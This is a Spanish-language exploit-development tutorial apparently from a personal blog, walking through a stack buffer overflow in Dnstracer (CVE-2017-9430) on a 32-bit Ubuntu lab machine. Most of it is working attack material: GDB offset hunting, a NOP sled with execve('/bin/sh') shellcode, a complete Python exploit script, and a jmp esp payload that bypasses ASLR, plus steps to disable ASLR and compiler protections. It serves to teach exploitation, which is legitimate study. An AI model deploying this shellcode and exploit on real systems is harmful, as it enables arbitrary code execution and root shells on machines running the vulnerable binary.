Desarrollo de exploits (Buffer Overflow): CVE-2017-9430

Descripción

Hace poco comencé a interesarme por el mundo de los exploits, sobre todo los relacionados con Linux, PS4 y Webkit.
Hoy quiero hacer un pequeño resumen de cómo explotar la vulnerabilidad CVE-2017-9430 presente en Dnstracer, una utilidad presente en muchos repositorios y distribuciones que permite determinar de dónde un DNS obtiene su información y sigue la cadena de servidores DNS de nuevo a los servidores que conocen los datos.
Esta vulnerabilidad fue reportada por Hosein Askari el 04-06-2017 para la versión 1.8.1 de Dnstracer y fue identificada como CVE-2017-9430 .
A día de hoy (02-08-2017) sigue existiendo la misma vulnerabilidad en la última versión disponible hasta hoy, Dnstracer 1.9 .

Desarrollo del exploit

Entorno

Antes de comenzar a explorar la vulnerabilidad, he tenido que preparar un entorno dónde desarrollar y probar el exploit. Para ello he montado una máquina virtual con Ubuntu 12.04 i686 (32 bits) a la cual le he desactivado el ASLR (Address space layout randomization) para evitar así que las direcciones de memoria donde se carga el programa cambien con cada ejecución. Para desactivarlo basta con ejecutar:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
					

Para volver a activar el ASLR hay que ejecutar:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
					

¿Qué es un Buffer Overflow?

Un Buffer Overflow es un desbordamiento de buffer y se produce cuando excedemos el tamaño máximo de un buffer y comenzamos a sobreescribir lo que se encuentra seguido en memoria.
Supongamos que tenemos un buffer de 12 caracteres como el siguiente:

Buffer Overflow


Si copiamos al buffer c una cadena de 6 caracteres como la que hay en la imagen, no ocurre nada fuera de lo común, pero si en lugar de introducir 6 caracteres, introducimos más de 12, lo que ocurre es que comenzaremos a sobreescribir los siguientes datos ya que la memoria crece a medida que bajamos en la imagen.
Si no realizamos un control de errores adecuado para evitar que se introduzcan más caracteres que los que permite el buffer, los datos se comenzarán a sobreescribir comenzando por sobreescribir el puntero char *bar seguido del Frame pointer y de la dirección de retorno y demás datos que se encuentren a continuación.
El problema surge cuando se sobreescribe la dirección de retorno, ya que cuando acabe de ejecutarse la función, siempre encontramos una instrucción ensamblador ret que de lo que se encarga es de volver la ejecucion al punto siguiente del que realizó la llamada a la función actual.
Esto es usado por los atacantes para sobreescribir la dirección de retorno y hacer que apunte donde ellos quieren, normalmente a comienzo del buffer que se ha desbordado porque ahí es donde ellos introducen el código malicioso que va a ejecutarse tras la instrucción ret.

Identificando la vulnerabilidad

Para comenzar a invesigar por qué se produce el fallo, hay que descargarse el código fuente del programa que podeís obtener de la web oficial .
Para comenzar la configuración tendremos que ejecutar:

./configure
					

Ese comando generara el Makefile que tenemos que modificar para que al compilarse, gcc lo compile sin añadir código extra para evitar que se realicen ataques de buffer overflow.
Para ello teneís que añadir lo siguiente al Makefile:


Una vez añadido eso, ya podremos compilarlo con el comando:

make
					

Y nos mostrará algo parecido a esto si todo ha ido correctamente:


Esto nos habrá generado un ejecutable llamado dnstracer que es con el que vamos a trabajar.


Dnstracer puede ser explotada a traves de un buffer overflow que se produce cuando se le pasa como argumento al programa una cadena muy larga, concretamente este es el reporte que hizo Hosein del buffer overflow:

#dnstracer -v $(python -c 'print "A"*1025')
*** buffer overflow detected ***: dnstracer terminated
=3D=3D=3D=3D=3D=3D=3D Backtrace: =3D=3D=3D=3D=3D=3D=3D=3D=3D
/lib/x86_64-linux-gnu/libc.so.6(+0x70bcb)[0x7ff6e79edbcb]
/lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x37)[0x7ff6e7a76037]
/lib/x86_64-linux-gnu/libc.so.6(+0xf7170)[0x7ff6e7a74170]
/lib/x86_64-linux-gnu/libc.so.6(+0xf64d2)[0x7ff6e7a734d2]
dnstracer(+0x2c8f)[0x5634368aac8f]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf1)[0x7ff6e799d2b1]
dnstracer(+0x2fca)[0x5634368aafca]
=3D=3D=3D=3D=3D=3D=3D Memory map: =3D=3D=3D=3D=3D=3D=3D=3D
5634368a8000-5634368b0000 r-xp 00000000 08:01 4850311                    /u=
sr/bin/dnstracer
563436aaf000-563436ab0000 r--p 00007000 08:01 4850311                    /u=
sr/bin/dnstracer
563436ab0000-563436ab1000 rw-p 00008000 08:01 4850311                    /u=
sr/bin/dnstracer
563436ab1000-563436ab3000 rw-p 00000000 00:00 0=20
563436c1d000-563436c3e000 rw-p 00000000 00:00 0                          [h=
eap]
7ff6e7766000-7ff6e777c000 r-xp 00000000 08:01 25823192                   /l=
ib/x86_64-linux-gnu/libgcc_s.so.1
7ff6e777c000-7ff6e797b000 ---p 00016000 08:01 25823192                   /l=
ib/x86_64-linux-gnu/libgcc_s.so.1
7ff6e797b000-7ff6e797c000 r--p 00015000 08:01 25823192                   /l=
ib/x86_64-linux-gnu/libgcc_s.so.1
7ff6e797c000-7ff6e797d000 rw-p 00016000 08:01 25823192                   /l=
ib/x86_64-linux-gnu/libgcc_s.so.1
7ff6e797d000-7ff6e7b12000 r-xp 00000000 08:01 25823976                   /l=
ib/x86_64-linux-gnu/libc-2.24.so
7ff6e7b12000-7ff6e7d11000 ---p 00195000 08:01 25823976                   /l=
ib/x86_64-linux-gnu/libc-2.24.so
7ff6e7d11000-7ff6e7d15000 r--p 00194000 08:01 25823976                   /l=
ib/x86_64-linux-gnu/libc-2.24.so
7ff6e7d15000-7ff6e7d17000 rw-p 00198000 08:01 25823976                   /l=
ib/x86_64-linux-gnu/libc-2.24.so
7ff6e7d17000-7ff6e7d1b000 rw-p 00000000 00:00 0=20
7ff6e7d1b000-7ff6e7d3e000 r-xp 00000000 08:01 25823455                   /l=
ib/x86_64-linux-gnu/ld-2.24.so
7ff6e7f13000-7ff6e7f15000 rw-p 00000000 00:00 0=20
7ff6e7f3a000-7ff6e7f3e000 rw-p 00000000 00:00 0=20
7ff6e7f3e000-7ff6e7f3f000 r--p 00023000 08:01 25823455                   /l=
ib/x86_64-linux-gnu/ld-2.24.so
7ff6e7f3f000-7ff6e7f40000 rw-p 00024000 08:01 25823455                   /l=
ib/x86_64-linux-gnu/ld-2.24.so
7ff6e7f40000-7ff6e7f41000 rw-p 00000000 00:00 0=20
7ffded62d000-7ffded64e000 rw-p 00000000 00:00 0                          [s=
tack]
7ffded767000-7ffded769000 r--p 00000000 00:00 0                          [v=
var]
7ffded769000-7ffded76b000 r-xp 00000000 00:00 0                          [v=
dso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [v=
syscall]
Aborted
					

El comando dnstracer -v $(python -c ‘print “A”*1025’) es lo mismo que escribir dnstracer -v AAAA… hasta 1025 As.

Si vamos a ver el código fuente (dnstracer.c), observamos en la línea 1622 (main) lo siguiente:


Vemos la función strcpy que lo que hace es coger el primer argumento pasado al programa y copiarlo a argv0.
Si buscamos donde está argv0 lo encontramos al inicio del main en la línea 1515 de la siguiente forma:


Un array estático de longitud NS_MAXDNAME y si buscamos en el fichero dnstracer_broker.h en la línea 59 encontramos esto:


Ahora sabemos que el buffer argv0 es un array estático de longitud 1024.
Con esto llegamos a la conclusión de que si introducimos un argumento de más de 1024 caracteres, se producirá un buffer overflow, como le ocurre a Hosein.


Podemos probar a ejecutar:

./dnstracer `perl -e 'print "A"x2000'`
					

Y apreciamos que también se produce el overflow:

Analizando la vulnerabilidad

Para poder ver qué ocurre realmente cuando introducimos una cadena de más de 1024 caracteres como argumento, vamos a debbugearlo con GDB ejecutando:

gdb -q ./dnstracer
					

Una vez dentro de GDB, podemos correr el programa y ver qué información nos muestra cuando se produce el fallo. Para ello usamos el comando:

r  `perl -e 'print "A"x1060'`
					

(Esta vez he introducido 1060 caracteres, el caso es que sea lo suficientemente grande como para que se podruzca el fallo)


Observamos que GDB nos reporta un fallo de segmentación y que ese fallo es provocado por la dirección 0x41414141.
El fallo que nos está indicando es que estamos sobreescribiendo la dirección de retorno del main con la dirección 0x41414141 y que cuando el programa salta ahí falla porque no es una zona de memoria que le ha sido asignada.
Si nos fijamos un poco en 0x41414141, podemos darnos cuenta que 41 es en hexadecimal la representación de la letra A, así que ya sabemos que con 4 de esas 1060 A’s que hemos escrito, estamos sobreescribiendo la dirección de retorno.
Para saber exactamente con qué 4 letras estamos sobreescribiendo el retorno, vamos a cambiar un poco el argumento por:

r  `perl -e 'print "A"x1052 . "BBBBCCCCDDDD"'`
					

Este comando lo único que hace es escribir 1052 A’s seguidas de “BBBBCCCCDDDD”.
Si observamos ahora el reporte que produce GDB, vemos lo siguiente:


Esta vez el fallo es 0x43424242, que si aplicamos la lógica anterior, si A era 41 esa direccion será CBBB, por lo que podemos obtener ya las letras con las que estamos sobreescribiendo la dirección de retorno.
Aun así, para asegurarnos, vamos a añadir una A más y vamos a escribir solamente 4 B’s con el siguiente comando:

r  `perl -e 'print "A"x1053 . "BBBB"'`
					


Ahora sí hemos confirmado que podemos sustituir esas 4 B’s por la dirección de memoria a la que queramos ir.
Normalmente esa dirección de memoria suele ser el principio del buffer para poder así introducir ahí el código malicioso que queramos que se ejecute.
Lo que tenemos que hacer ahora es ver en qué dirección comienza el buffer y para ello vamos a investigar un poco cuándo se produce el strcpy.


Tenemos que desensamblar el programa y concretamente el main, para ello ejecutamos:

disass main
					

Y esto nos mostrará el código ensamblador que forma el main.
Si observamos la dirección 815, vemos que se produce un call a strcpy. Ese es el momento en el que se sobreescribe la dirección de retorno.


Ahora vamos a poner un par de breakpoints antes y después de que se ejecute el strcpy, para ver qué ocurre con la memoria. Para ello ejecutamos:

break *main+815
					

y

break *main+820
					

El segundo break point lo he puesto en la posición 820 del main (la instrucción siguiente al call).


Ahora volvemos a ejecutar el programa con el comando con el que ya sabíamos exactamente dónde estaba la dirección de retorno, y veremos cómo se detiene en el primer breakpoint.
Una vez ahí, podemos ejecutar el comando siguiente:

p argv0
					

Con el que podemos ver el contenido de la variable argv0 (el buffer que se desborda) antes de realizar el strcpy.
Para continuar al siguiente breakpoint ejecutamos:

c
					

Y el programa se volverá a detener; y podemos observar que si ejecutamos de nuevo el comando para ver qué hay en la variable argv0, nos dice que hay 1025 A’s.
Ahora para ver en qué dirección de memoria comienza argv0, tenemos que ejecutar el siguiente comando:

x/16x argv0
					

Este comando nos realizará un volcado de memoria de los 16 primeros bloques de memoria de la cadena argv0 en formato hexadecimal.
Nótese que mi máquina tiene un formato Little Endian y que el byte menos significativo se encuentra en la posicion más alta.
Además, este comando también nos indica en que posición se encuentra la variable argv0.


En mi caso, la variable se encuentra en la posición 0xBFFFEAEF


Ahora tenemos que sustituir las letras B que sobreescribían la dirección de retorno por la dirección de memoria que acabamos de encontrar de la siguiente manera:




Cuando ejecutemos el programa, lo que hará será sobreescribir la dirección de retorno y la ejecución saltará al comienzo del buffer, pero dará error aunque 0x41 (A) sea una instrucción ensamblador válida.
Ahora lo que tenemos que hacer es introducir un shellcode en el buffer para que se ejecute.
Yo voy a usar una técnica que se llama colchón de nops, que consiste en rellenar la parte que sobra del buffer cuando introducimos el shellcode con instrucciones nops.
Las instrucciones nop (0x90 en hexadecimal) al ejecutarse, no hacen nada, solamente pasan a la siguiente, y de esta forma, aunque al realizar el ret la dirección de retorno sobreescrita apunte a la mitad del colchón de nops, la ejecución continuará hasta que se ejecute el shellcode.
Para lograr esto que acabo de explicar hay que ejecutar el siguiente comando:

r `perl -e 'print "\x90"x1030 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\xef\xea\xff\xbf"'`
					

Antes rellenábamos la cadena con 1053 A’s, pero como el shellcode ocupa 23 bytes, ahora tengo que rellenar con 1030 nops y luego el shellcode de 23.


Si lo ejecutamos continuando en los dos puntos de ruptura, nos da un error en la posición 0xbfffef05:

Para hallar una solución, lo que he hecho lo primero es ver qué hay en esa dirección de memoria y al ver que no encontraba nada claro, lo que he hecho ha sido ver qué hay en esa posición de memoria - 16, y me he dado cuenta que justamente ahí es donde empieza el shellcode que hemos metido en la cadena.

La solución que he encontrado ha sido desplazar el shellcode 16 caracteres a la izquierda en la cadena, porque según lo que hemos visto antes, se dejaba de ejecutar en la posición 0xbfffef05.
Para ello he restado 16 nops, y los he añadido detrás del shellcode a en forma de A’s como se ve en la siguiente imagen:


Tras ejecutar ese comando, obtengo lo siguiente:


Hemos conseguido lo que buscabamos, ejecutar código arbitrario a partir de un desbordamiento de buffer, concretamente lo que hacía el shellcode era ejecutar un bash.

En el mundo real

Hasta ahora hemos conseguido ejecutar código arbitrario pero dentro de GDB.
Si ejecutamos el comando fuera en un terminal es muy probable que no funcione porque la dirección del buffer que nos da el GDB no es la misma que cuando se ejecuta de forma normal.
Para ello podemos hacer un pequeño truquito que nos puede ser útil para aprender.
Lo que podemos hacer es modificar el código fuente (dnstrace.c) añadiendo el siguiente printf después de la variable argv0:

printf("argv0: 0x%p", argv0);
					

Lo volvemos a compilar y ejecutamos, y esto nos mostrará por pantalla la dirección de memoria en la que se encuentra argv0 realmente; como hemos desactivado ASLR siempre estará en esa dirección.
Una vez encontrada la dirección real, basta con sustituirla en el comando.
Yo no contento con todo esto, he hecho un pequeño script en python que lanza la aplicación y la explota de forma automática.

#Exploit author: j0lama (http://jolama.es/)
#Program: Dnstrace
#Version: Tested with 1.9
#CVE: CVE-2017-9430
#Tested under Ubuntu 12.04 i686
#Description: Dnstracer determines where a given Domain Name Server (DNS) gets its information from, and follows the chain of DNS servers back to the servers which know the data.
#Website: http://www.mavetju.org/unix/dnstracer-man.php

import os
from subprocess import call

def run():
    try:
        print "\nDNSTracer Stack-based Buffer Overflow"
        print "Author: j0lama"
        print "Tested with Dnstracer compile without buffer overflow protection"

        nops = "\x90"*1006
        shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
        filling = "A"*24
        eip = "\x2f\xeb\xff\xbf"

        #buf size = 1057
        buf = nops + shellcode + filling + eip

        call(["./dnstracer", buf])

    except OSError as e:
        if e.errno == os.errno.ENOENT:
            print "\nDnstracer not found!\n"
        else:
            print "\nError executing exploit\n"
        raise


if __name__ == '__main__':
    try:
        run()
    except Exception as e:
        print "Something went wrong"

ASLR activado: Jump to ESP

ASLR es una medida de seguridad que se usa para prevenir ataques como el que hemos realizado un poco más arriba.
Concretamente, ASLR hace que cada vez que ejecutemos un proceso este lo haga en posiciones de memoria diferentes a las anteriores (pseudo aleatorias). De esta forma consigue que los exploits como el que hemos realizado no funcionen ya que cada vez que se ejecuta el programa la dirección del buffer cambia, y por lo tanto al saltar con el offset calculado lo haga a una dirección de memoria que probablemente no se encuentre dentro del espacio de direcciones asignadas al proceso.
Hay muchas formas de hacer evitar que ASLR cause efecto. La primera y más obvia es la fuerza bruta, es decir, ejecutar el programa tantas veces como sea necesario hasta que en alguna de la casualidad de que al sobreescribir el puntero de retorno lo hagamos con una dirección del colchon de nops por lo que se ejecutaría nuestro shellcode.
Para ello, solamente hay que hacer un pequeño script en bash como este:

while true; do ./dnstracer "CADENA MALICIOSA"; done 	
						

Esto provocará que se ejecute el programa dando errores de segmentación debido al ASLR hasta que por casualidad se ejecute nuestro shellcode.
Concretamente la fuerza bruta no es la mejor opción para este programa debido a que muchas de las ejecuciones tardaban más de 10 segundos en completarse por lo que la espera se me hacía muy larga.
Otra de las técnicas más usadas es el Jump to ESP, la cual consiste en sobreescribir el puntero de retorno con la dirección de una instrucción jmp esp. Esto provocaría que la ejecución continuase justo despues de donde hemos sobreescrito la dirección de retorno así que ni siquiera es necesario el colchon de nops.
El problema reside en dónde buscar esa instrucción. Antiguamente en Windows se buscaba en las librerías dinámicas (.dll) pero en caso de que ASLR estuviese activado tendríamos el mismo problema que antes.
Una solución que se usaba antes en Linux era buscarlo dentro de los objetos compartidos como libc.so.6.c que siempre se ubicaba en la misma posición de memoria independientemente de si ASLR estaba activado o no pero para nuestra desgracia esto ya no es así.
La única solución que no queda es buscarlo dentro del propio binario (improbable, pero puede sonar la flauta).
Para ello ejecutamos la utilidad msfelfscan que pertenece al framework Metasploit de la siguiente forma:

msfelfscan ./dnstracer -j esp
						

Casualmente ha conseguido una dirección de memoria en la que hay un jmp esp: 0x0804cc3f
Ahora solamente hay que reescribir el argumento que le pasemos con la siguiente estructura: A*1053 + jmp2esp_offset + shellcode

./dnstracer `perl -e 'print "A"x1053 . "\x3f\xcc\x04\x08" . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"'`

Como podemos ver hemos logrado ejecutar una shell de comandos teniendo ASLR activado de una forma bastante más sencilla de lo que en un principio parecía.

Conclusiones

Hemos visto cómo por la simple falta de un control de errores, puede aparecer una vulnerabilidad como esta y pueden tomar el control del sistema.
Si por algún casual la aplicación llega a estar corriendo con el bit setuid activado o con permisos root, hubiéramos conseguido una bash con permisos de administrador.
Hay que tener en cuenta que, en la vida real, es mucho más complicado que todo esto y que encontramos muchos sitemas de seguridad como lo son la protección anti buffer overflow que hemos desactivado o el ASLR que hemos conseguido evadir. A pesar de todas esas medidas, una vulnerabilidad de este estilo se podría explotar usando muchos otras técnicas que se salten la seguridad.


Espero que os haya servido.
j0lama